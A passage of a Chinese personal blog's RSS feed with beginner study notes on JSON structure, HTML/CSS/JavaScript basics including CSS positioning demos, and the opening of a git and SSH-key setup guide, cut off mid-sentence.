&lt;p&gt;&lt;strong&gt;JSON&lt;/strong&gt;(JavaScript Object Notation) 是一种轻量级的数据交换格式。 易于人阅读和编写。同时也易于机器解析和生成。 它基于&lt;a href=&quot;http://www.crockford.com/javascript&quot;&gt;JavaScript Programming Language&lt;/a&gt;, &lt;a href=&quot;http://www.ecma-international.org/publications/files/ecma-st/ECMA-262.pdf&quot;&gt;Standard ECMA-262 3rd Edition - December 1999&lt;/a&gt;的一个子集。 JSON 采用完全独立于语言的文本格式，但是也使用了类似于 C 语言家族的习惯（包括 C, C++, C#, Java, JavaScript, Perl, Python 等）。 这些特性使 JSON 成为理想的数据交换语言。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在我对 json 的认识是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;是一种用于数据交换的文本格式&lt;/li&gt;
&lt;li&gt;使用了 C-liked 的风格&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那么相对于之前一股脑乱读 json，停下脚步，静下心来思考，也许 json 并不是很难呢？&lt;/p&gt;
&lt;p&gt;事实证明，思维的懒惰才是最为可怕的，花了一小段时间来阅读了一下&lt;a href=&quot;https://www.json.org/json-en.html&quot;&gt;JSON 官网&lt;/a&gt;的介绍，发现 json 这东西，真的不是很难&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;由于目前咱有一点程序语言的知识储备&lt;/strong&gt;，所以这里只记录一些我自己需要记录的东西。&lt;/p&gt;
&lt;h2&gt;两大结构&lt;/h2&gt;
&lt;p&gt;如同 HTML 有属性和元素，JSON 也有两大结构&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;JSON is built on two structures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A collection of name/value pairs. In various languages, this is realized as an &lt;em&gt;object&lt;/em&gt;, record, struct, dictionary, hash table, keyed list, or associative array.&lt;/li&gt;
&lt;li&gt;An ordered list of values. In most languages, this is realized as an &lt;em&gt;array&lt;/em&gt;, vector, list, or sequence.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;它们分别是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;名称/值 pair 的集合&lt;/li&gt;
&lt;li&gt;值的有序列表（这个跟数组 array 很像的）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;一些形式&lt;/h2&gt;
&lt;h3&gt;Object&lt;/h3&gt;
&lt;p&gt;对象呢，就是一堆无序的名称/值的集合，以&lt;code&gt;{&lt;/code&gt;开始并以&lt;code&gt;}&lt;/code&gt;结束，里面的每个 pair 都是以&lt;code&gt;name: value&lt;/code&gt;这样的格式表示的，然后每个 pair&lt;strong&gt;之间&lt;/strong&gt;都要用逗号&lt;code&gt;,&lt;/code&gt;来&lt;strong&gt;分隔开&lt;/strong&gt;&lt;s&gt;（之前一直以为是每次换行都要加个逗号&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;我觉得官网上面的这个图画的挺厉害的，就收下来了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Array&lt;/h3&gt;
&lt;p&gt;数组嘛，见得太多了，就不多说了，跟&lt;code&gt;[ele1, ele2 ... eleN]&lt;/code&gt;这东西长得是差不多的，只不过其中的元素就是名次/值 pair&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Value&lt;/h3&gt;
&lt;p&gt;为什么我要把见得太多了的 value 给记录下呢？因为之前我是不知道 json 的值可以是 object 或者 array 的，所以也要用小本本记下来。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A &lt;em&gt;value&lt;/em&gt; can be a &lt;em&gt;string&lt;/em&gt; in double quotes, or a &lt;em&gt;number&lt;/em&gt;, or &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; or &lt;code&gt;null&lt;/code&gt;, or an &lt;strong&gt;object&lt;/strong&gt; or an &lt;strong&gt;array&lt;/strong&gt;. These structures can be nested.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;阅读实例&lt;/h2&gt;
&lt;p&gt;json 就顺手在刚刚查询的空教室记录里面抽取了一段，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;currentPage&quot;: 1,
  &quot;currentResult&quot;: 0,
  &quot;entityOrField&quot;: false,
  &quot;items&quot;: [
    {
      &quot;cd_id&quot;: &quot;1011230&quot;,
      &quot;cdbh&quot;: &quot;1011230&quot;,
      &quot;cdjylx&quot;: &quot;教学类,活动类&quot;,
      &quot;cdmc&quot;: &quot;文新123#&quot;,
      &quot;dateDigit&quot;: &quot;2020年11月27日&quot;,
      &quot;dateDigitSeparator&quot;: &quot;2020-11-27&quot;,
      &quot;month&quot;: &quot;11&quot;,
      &quot;queryModel&quot;: {
        &quot;currentPage&quot;: 1,
        &quot;currentResult&quot;: 0,
        &quot;entityOrField&quot;: false,
        &quot;limit&quot;: 15,
        &quot;offset&quot;: 0,
        &quot;pageNo&quot;: 0,
        &quot;pageSize&quot;: 15,
        &quot;showCount&quot;: 10,
        &quot;sorts&quot;: [],
        &quot;totalCount&quot;: 0,
        &quot;totalPage&quot;: 0,
        &quot;totalResult&quot;: 0
      },
      &quot;rangeable&quot;: true
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合上面的知识储备，就能看懂这段 json 想表示啥了~~，但为什么部分混入了拼音首字母缩写啊我擦~~&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>笔记-入门前端三件套</title><link>https://situ2001.com/blog/notes/web-beginner/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/web-beginner/</guid><description>笔记-入门前端三件套</description><pubDate>Sat, 28 Nov 2020 09:51:43 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;Web 安全方向试探路&lt;/s&gt;(2020/05/23 追更，已经决定，以后想成为一个 Front-end Engineer 了)&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;由于最近想探一下 CTF 的 web 方向，并且这些知识就算放在以后也挺有用，于是便开始了 HTML/CSS 和 JavaScript 的基础性学习。&lt;/p&gt;
&lt;p&gt;我学习的资源来自 github，是巨硬的一个 repo：&lt;a href=&quot;https://github.com/microsoft/Web-Dev-For-Beginners&quot;&gt;https://github.com/microsoft/Web-Dev-For-Beginners&lt;/a&gt;，里面先是给我灌输了一些必备的知识储备，然后开始实例驱动手把手教，我觉得这挺不错的，做着做着就学到了东西。&lt;/p&gt;
&lt;p&gt;再来一个万能的文档镇楼：&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web&quot;&gt;https://developer.mozilla.org/en-US/docs/Web&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这文章呢，就先把三件套的一些知识做成笔记记下来了，DOM 和 event-driven 这些呢，以后再写（咕咕咕&lt;/p&gt;
&lt;h2&gt;JavaScript 部分&lt;/h2&gt;
&lt;p&gt;先有几个 chapter 介绍了 JS Basics，分别讲了一下 JS 的数据类型(?)，函数和方法，选择与循环，数组。&lt;/p&gt;
&lt;p&gt;由于我有一定的 Jvav 基础，所以我就挑一些有差异的、特别的地方记录一下吧。&lt;/p&gt;
&lt;h3&gt;基本数据类型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;初始化一个变量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以用&lt;code&gt;let&lt;/code&gt;或&lt;code&gt;var&lt;/code&gt;来初始化，但是&lt;code&gt;let&lt;/code&gt;在 ES6 开始，代表的变量或者常量是有 scope 的，所以教程推荐我们使用&lt;code&gt;let&lt;/code&gt;而不建议使用&lt;code&gt;var&lt;/code&gt;，如下所示&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note, They keyword &lt;code&gt;let&lt;/code&gt; was introduced in ES6 and gives your variable a so called &lt;em&gt;block scope&lt;/em&gt;. It&apos;s recommended that you use &lt;code&gt;let&lt;/code&gt; over &lt;code&gt;var&lt;/code&gt;. We will cover block scopes more in depth in future parts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;变量&lt;code&gt;let myVar = 123;&lt;/code&gt;，长这个样子就行了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关于常量的初始化和可改变性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;初始化&lt;/strong&gt;：常量用&lt;code&gt;const&lt;/code&gt;来初始化，如&lt;code&gt;const MY_VARIABLE = 123&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可改变性&lt;/strong&gt;：应该是跟 Java 差不多的，基本数值类型的变量不能被改变，OOP 里面的引用变量不能改变其引用的对象，但是可以改变对象里面的 value&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const PI = 3;
PI = 4; // not allowed

const obj = { a: 3 };
obj = { b: 5 }; // not allowed
obj.a = 5; // allowed
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;6 种基本数据类型&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;There are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;（这怕不是要它自己来进行推测判断&lt;/s&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;String 字符串&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;在 JS 里面，字符串可以用单引号或者双引号，都用的场景就是如&lt;code&gt;&apos;Are you &quot;OK&quot;&apos;&lt;/code&gt;之类的&lt;/li&gt;
&lt;li&gt;连接字符串可以像 Java 一样使用 &lt;strong&gt;+&lt;/strong&gt; 号，还可以使用一种叫做&lt;code&gt;Template literals&lt;/code&gt;的操作，如下&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;let myString1 = &quot;Hello&quot;;
let myString2 = &quot;World&quot;;

myString1 + &quot; &quot; + myString2 + &quot;!&quot;; //Hello World!
myString1 + &quot;, &quot; + myString2 + &quot;!&quot;; //Hello, World!

`${myString1} ${myString2}!` //Hello World!
`${myString1}, ${myString2}!`; //Hello, World!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过要注意，这不是单引号&lt;code&gt;&apos;&apos;&lt;/code&gt;，而是反引号`` `&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Boolean 类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 JS 里面，布尔类型&lt;strong&gt;默认&lt;/strong&gt;是 true，除非它被定义为 false&lt;/p&gt;
&lt;h3&gt;运算符与操作符&lt;/h3&gt;
&lt;p&gt;与 Java 差不多，唯一不同的话就是，比较操作符有&lt;code&gt;==&lt;/code&gt;和&lt;code&gt;===&lt;/code&gt;，不同之处就是前者比较的是值的相同，而后面的既比较值是否相同还比较数据类型是否相同。同理，也就会有&lt;code&gt;!=&lt;/code&gt;和&lt;code&gt;!==&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symbol&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;===&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Strict equality&lt;/strong&gt;: Compares two values and returns the &lt;code&gt;true&lt;/code&gt; Boolean data type if values on the right and left are equal AND are the same data type.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5 === 6 // false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!==&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Inequality&lt;/strong&gt;: Compares two values and returns the opposite Boolean value of what a strict equality operator would return&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5 !== 6 // true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;函数与方法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过这两者可以互换地讲，严格说的话，方法是限定在对象范围内的吧。也只是把差异记下来而已。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;初始化一个 function: &lt;code&gt;function nameOfFunction() {}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;参数与传递：&lt;code&gt;function name(param, param1, param2) {}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;默认值：&lt;code&gt;function name(name, salutation=&apos;Hello&apos;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然后函数里面可以套函数。函数参数里面也可以套函数（这叫做匿名函数）（？为了解决 scope 问题）&lt;s&gt;套娃警告&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;肥箭头&lt;/s&gt;Fat Arrow 函数：&lt;s&gt;这像极了 Lambda 表达式不是吗&lt;/s&gt;在匿名函数，可以直接用 &lt;code&gt;() =&amp;gt; {}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;HTML 部分&lt;/h2&gt;
&lt;p&gt;我认为使用 HTML 的话，有两个核心要素&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Semantic&lt;/strong&gt;即语义
&lt;ul&gt;
&lt;li&gt;这个靠你自然语言能力就行了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;理解结构与合理使用 tag 和 class 和 id
&lt;ul&gt;
&lt;li&gt;这个用树状图应该可破&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;s&gt;不会就去看文档&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTML/Element&lt;/a&gt;&lt;/s&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;组成&lt;/h3&gt;
&lt;p&gt;一个 HTML Doc 的话，由下面的一些部分来组成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;!-- 存放页面的关键信息 --&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;!-- 放的是显示区域能看到的东西 --&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;元素与属性&lt;/h3&gt;
&lt;p&gt;HTML 有两个重要的东西：元素（Element）与属性（Attribution），哪些是元素，哪些又是属性呢？不如，直接上一个包含 src 属性和 class 属性还有一个和 style 属性和 id 属性的 img 元素，一目了然&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img
  class=&quot;picture&quot;
  id=&quot;pic&quot;
  style=&quot;width: 114px; height: 514px&quot;
  src=&quot;sample.png&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;什么时候用&lt;/h3&gt;
&lt;p&gt;什么时候用&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;呢&lt;/p&gt;
&lt;p&gt;这个问题曾经有过，不过我认为大多数情况下，这个 tag 中间不引文字的话就不用了，比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a&amp;lt;br /&amp;gt;line break.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用语义&lt;/h3&gt;
&lt;p&gt;在读 HTML 或者写 HTML 的时候最好用语义即 Semantic，为什么呢？我认为 HTML 好多 tag 都是某个英语单词的缩写，比如&lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;是&lt;strong&gt;break&lt;/strong&gt;&lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt;是&lt;strong&gt;Italic&lt;/strong&gt;&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;是&lt;strong&gt;Anchor&lt;/strong&gt;&lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;是&lt;strong&gt;list&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;又比如&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;就是&lt;strong&gt;span&lt;/strong&gt;中文意思是&lt;strong&gt;跨度、范围&lt;/strong&gt;，就是一块 inline 的东西，而&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;表示&lt;strong&gt;division&lt;/strong&gt;，就是一块一块的，你可以去查下这些东西的英文全称。&lt;/p&gt;
&lt;p&gt;所以，表示按钮的时候是&lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;而表示列表时候使用&lt;code&gt;&amp;lt;list&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;CSS 部分&lt;/h2&gt;
&lt;p&gt;这部分我没啥可说的了，感觉下来就是 CSS 牵一发而动全身......感觉不能用编程语言的思维来理解它~~，我目前的做法也就是不会的查文档，然后 F12 在 Element 选项卡里面，边调数字边预览~~&lt;/p&gt;
&lt;p&gt;&lt;s&gt;先把文档放这里：&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/CSS&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;当然还是有点基础的基础要知道的。&lt;/p&gt;
&lt;h3&gt;优先级 继承 与 选择器&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CSS 优先级&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CSS 是啥呢？英文全称是&lt;strong&gt;Cascade Style Sheets&lt;/strong&gt;，Cascade 有级联、串联的意思，对于 priority 优先级的话，也是这个样子，优先级就是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;inline style &amp;gt; style tag &amp;gt; external css file&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这三种表示方法是怎么样的呢？我们不妨看下下面的示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!--inline style--&amp;gt;
&amp;lt;p style=&quot;text-align: center&quot;&amp;gt;Test&amp;lt;/p&amp;gt;
&amp;lt;!--style tag--&amp;gt;
&amp;lt;style&amp;gt;
  p {
    text-align: center;
  }
&amp;lt;/style&amp;gt;
&amp;lt;!--external css file--&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; src=&quot;style.css&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;CSS 继承&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个要想象一下 HTML 文件里面的不同 tag、class 和 id 之间的结构关系了，比如有如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  font-family: helvetica, arial, sans-serif;
  text-align: center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所有的文字都会变为这种字体，因为所有文字都是 body 的下级啊。&lt;/p&gt;
&lt;p&gt;然后有个子元素把&lt;code&gt;text-align&lt;/code&gt;更改为了&lt;code&gt;left&lt;/code&gt;，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input {
  text-align: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么 input 元素里面的文字对其形式，就会是左对齐，这点跟 Java 中的&lt;strong&gt;Method Override&lt;/strong&gt;有点类似~~（奇怪的联想增加了~~&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CSS 选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以根据 tag、class 或 id 来进行 styling，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* by tag */
h1 {
}
/* by class */
.left-container {
}
/* by id */
#left-container {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然了，也能一层一层地深入选择，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*class inside a tag */
input .test {
}
/*tag inside a tag */
div img {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加逗号就是同时对多个进行应用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.div1,
.div2,
.div3 {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;布局与定位&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CSS 的 layout&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;s&gt;这部分我无能为力了，我目前也就只会拿实例进行比对，再开始写新的 css&lt;/s&gt;啊，原因是巨硬提到了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mixing position properties (there are static, relative, fixed, absolute, and sticky positions) can be a little &lt;strong&gt;tricky&lt;/strong&gt;, but when done properly it gives you good control over the elements on your pages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;喂，别这么怂啊，还没开始你就退下了？&lt;/p&gt;
&lt;p&gt;首先布局和定位这些我一般在某些居中的元素里头见到，怎么说呢，HTML 的 document 像河道，里面的元素都是像水一样，顺着河流流下来的，所以一般的 HTML 里面的内容，都是靠左显示，并且一个接一个地往下列。&lt;/p&gt;
&lt;p&gt;要想改变它们的布局，就要使用 CSS 的&lt;code&gt;position&lt;/code&gt;了，先来看下&lt;code&gt;position: relative&lt;/code&gt;和&lt;code&gt;position: absolute&lt;/code&gt;的区别&lt;/p&gt;
&lt;p&gt;首先&lt;code&gt;position&lt;/code&gt;有许多 value，包括&lt;code&gt;static fixed relative absolute&lt;/code&gt;等，其中&lt;code&gt;static&lt;/code&gt;和&lt;code&gt;fixed&lt;/code&gt;分别是无定位（默认）和固定（字面义）&lt;/p&gt;
&lt;p&gt;然后把注意力放在&lt;code&gt;absolute&lt;/code&gt;和&lt;code&gt;relative&lt;/code&gt;上，这两个东西都可以用&lt;code&gt;left&lt;/code&gt;,&lt;code&gt;right&lt;/code&gt;,&lt;code&gt;top&lt;/code&gt;和&lt;code&gt;bottom&lt;/code&gt;来进行&lt;strong&gt;相对定位&lt;/strong&gt;，但是又有那么一点小差别，具体可以用个小例子来解释。&lt;/p&gt;
&lt;p&gt;既然是&lt;strong&gt;相对&lt;/strong&gt;定位，大家也都学过初中物理，知道这么一个道理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运动是绝对的而静止是相对的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那么这里肯定也会出现参照物的说法！&lt;/p&gt;
&lt;p&gt;因为要实际操作体验，所以我自己造了一个很简单的小 demo&lt;/p&gt;
&lt;p&gt;HTML 部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;Test&amp;lt;/title&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot; /&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;div class=&quot;grandpa&quot;&amp;gt;
    &amp;lt;p&amp;gt;grandpa&amp;lt;/p&amp;gt;
    &amp;lt;div class=&quot;father&quot;&amp;gt;
      &amp;lt;p&amp;gt;father&amp;lt;/p&amp;gt;
      &amp;lt;div class=&quot;div1&quot;&amp;gt;son 1&amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;div2&quot;&amp;gt;son 2&amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;div3&quot;&amp;gt;son 3&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS 部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;div {
  text-align: center;
}

div div div {
  width: 100px;
  height: 100px;
}

.div1 {
  background-color: cyan;
}

.div2 {
  background-color: pink;
}

.div3 {
  background-color: royalblue;
}

.father {
  background-color: gray;
  width: 200px;
}

.grandpa {
  background-color: gainsboro;
  width: 300px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;页面长这个样子，如图所示。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后我们给 son2 加上这么一段 css&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;position: absolute;
left: 40px;
top: 120px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如图所示，son3 直接顶上来了，son2 仿佛就像是“跳”出了文档本身一样，并且以页面（此时没有其他的 father 设置了 non-static 的 position）左上角，相对左边向右偏移了 40px，相对上面向下偏移了 120px&lt;/p&gt;
&lt;p&gt;如果我们把&lt;code&gt;position&lt;/code&gt;改为&lt;code&gt;relative&lt;/code&gt;，那么便会出现下图的情况&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;可以看出，son2 在文档原本的位置依旧存在，只不过 son2 以原位置，右偏移了 40px 且向下偏移了 120px&lt;/p&gt;
&lt;p&gt;然而，上面这些是根据像素点（pixel 缩写为 px）来偏移的，既然是相对的位置表示，用百分比又会如何呢？&lt;/p&gt;
&lt;p&gt;这就涉及到参照物的情况了，我&lt;strong&gt;目前&lt;/strong&gt;碰到有这些&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;父级没有&lt;code&gt;position: xxx&lt;/code&gt;的，son 本身有&lt;code&gt;position: absolute&lt;/code&gt;的就会以 body(&lt;code&gt;position: fixed&lt;/code&gt;)来作为参照物&lt;/li&gt;
&lt;li&gt;父级有&lt;code&gt;position: xxx&lt;/code&gt;的，son 本身有&lt;code&gt;position: absolute&lt;/code&gt;的就会以离他最近的那个 father 来作为参照物&lt;/li&gt;
&lt;li&gt;son 本身有&lt;code&gt;position: relative&lt;/code&gt;的话，就是以自己作为参照物，然后宽度高度继承上一级的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那么，&lt;code&gt;left&lt;/code&gt;,&lt;code&gt;right&lt;/code&gt;,&lt;code&gt;top&lt;/code&gt;和&lt;code&gt;bottom&lt;/code&gt;带百分比的话，就是相对于参照物的左上角，进行相对定位。&lt;/p&gt;
&lt;p&gt;就那 1 和 2 举个简单的例子，如果我们再 grandpa 上加这么一段&lt;code&gt;position: relative&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再把 son2 加上这么一段，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;position: absolute;
left: 100%;
top: 100%;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会出现下图的这种情况&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;此时百分比是&lt;strong&gt;占得 father 的宽度和高度&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但是我们把 son2 改成&lt;code&gt;position: relative&lt;/code&gt;的话，发现 son2 只向右移动了一个 father 宽度的像素而没有额外的下移&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;思考了一下，既然这个属性百分比是继承父类的属性，那 father 肯定没有加 height，一查，果然如此，给 father 加个&lt;code&gt;height: 335px&lt;/code&gt;之后，果然好了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>git快速上手</title><link>https://situ2001.com/blog/git/hello-git/</link><guid isPermaLink="true">https://situ2001.com/blog/git/hello-git/</guid><description>git快速上手</description><pubDate>Wed, 18 Nov 2020 12:54:40 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我想这篇文章应该可以让你快速上手 git 和 github 吧？&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;什么时候会用到 git 呢？就我而言，我目前有两处地方有用到 git&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;跟踪管理自己代码的时候&lt;/li&gt;
&lt;li&gt;与其他人合作为同一个项目做贡献的时候&lt;/li&gt;
&lt;li&gt;对其他开源项目做贡献~~（太菜了没做过）~~&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我认为快速入门 git 的好方法是了解基础步骤后直接开始操作~~，于是就有了这篇文章~~&lt;/p&gt;
&lt;p&gt;这篇文章的许多内容都是自己试过的，希望下面的内容能给新手们带来一点帮助，如有错误，请指出。&lt;/p&gt;
&lt;h2&gt;上手之前&lt;/h2&gt;
&lt;h3&gt;准备工具&lt;/h3&gt;
&lt;p&gt;首先准备好所需的工具：&lt;strong&gt;git&lt;/strong&gt;和&lt;strong&gt;github 账号一个&lt;/strong&gt;（当然其他代码托管平台也是可以的），若没有的话，git 在这里&lt;a href=&quot;https://git-scm.com/&quot;&gt;下载&lt;/a&gt;，github 账号的在&lt;a href=&quot;https://github.com/&quot;&gt;这里注册&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后，在命令行中做好配置文件相应的设置
&lt;code&gt;git config --global user.name &quot;your-name&quot;&lt;/code&gt;
&lt;code&gt;git config --global user.email &quot;your-email&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再者就是本地与 github 之间通讯要用到的 ssh 密钥。之前应该写过，我直接拷贝过来吧。&lt;/p&gt;
&lt;h3&gt;配置密钥&lt;/h3&gt;
&lt;p&gt;先生成 SSH key，下列 command 生成了公/私对
